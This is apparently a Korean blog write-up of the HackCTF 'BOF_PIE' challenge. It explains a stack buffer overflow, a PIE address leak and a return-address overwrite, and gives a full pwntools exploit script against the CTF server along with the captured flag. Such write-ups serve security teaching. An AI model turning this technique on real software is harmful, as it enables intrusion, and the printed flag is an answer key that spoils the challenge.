-
BOF_PIECTF/HackCTF 2021. 1. 21. 16:51
Disassembly 디스어셈블리
main()은 welcome()을 호출하고, Nach...를 출력한다. 따라서 welcome() 내에서 실행 흐름을 조작할 필요가 있다.
welcome()의 주소를 출력한 뒤, var_12h에 문자열을 입력받는 함수이다. 따라서 스택 버퍼 오버플로우가 발생한다.
PIE address leak
바이너리에 NX랑 PIE가 걸려있어 return address를 다른 함수의 주소로 덮는 데 제약이 생긴다. 따라서 PIE base address를 구할 필요가 있고, welcome()의 주소를 출력하는 부분이 있으므로 이를 바탕으로 다른 함수의 주소를 계산해줄 수 있다.
p.recvuntil("j0n9hyun is ") welcome = int(p.recvline()[0:10], 16)
RET Overwrite
친절하게도 바이너리에 flag를 읽어와서 출력하는 함수가 있으므로 해당 주소로 덮어주면, RET Overwrite을 통해 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./bof_pie" server = "ctf.j0n9hyun.xyz" port = 3008 # context.log_level = 'debug' context.binary = binary p = remote(server, port) # p = process(binary) e = ELF(binary) # shellcode = asm(shellcraft.execve("/bin/sh",0,0)) p.recvuntil("j0n9hyun is ") welcome = int(p.recvline()[0:10], 16) j0n9hyun = welcome - e.symbols["welcome"] + e.symbols["j0n9hyun"] log.info("welcome : " + hex(welcome)) log.info("j0n9hyun : " + hex(j0n9hyun)) payload = b"A"*0x16 payload += p32(j0n9hyun) p.sendline(payload) p.interactive()
Flag
HackCTF{243699563792879976364976468837}
'CTF > HackCTF' 카테고리의 다른 글
RTL_World (0) 2021.01.21 Yes or no (0) 2021.01.21 Offset (0) 2021.01.21 Simple_Overflow_ver_2 (0) 2021.01.21 x64 Simple_size_BOF (0) 2021.01.21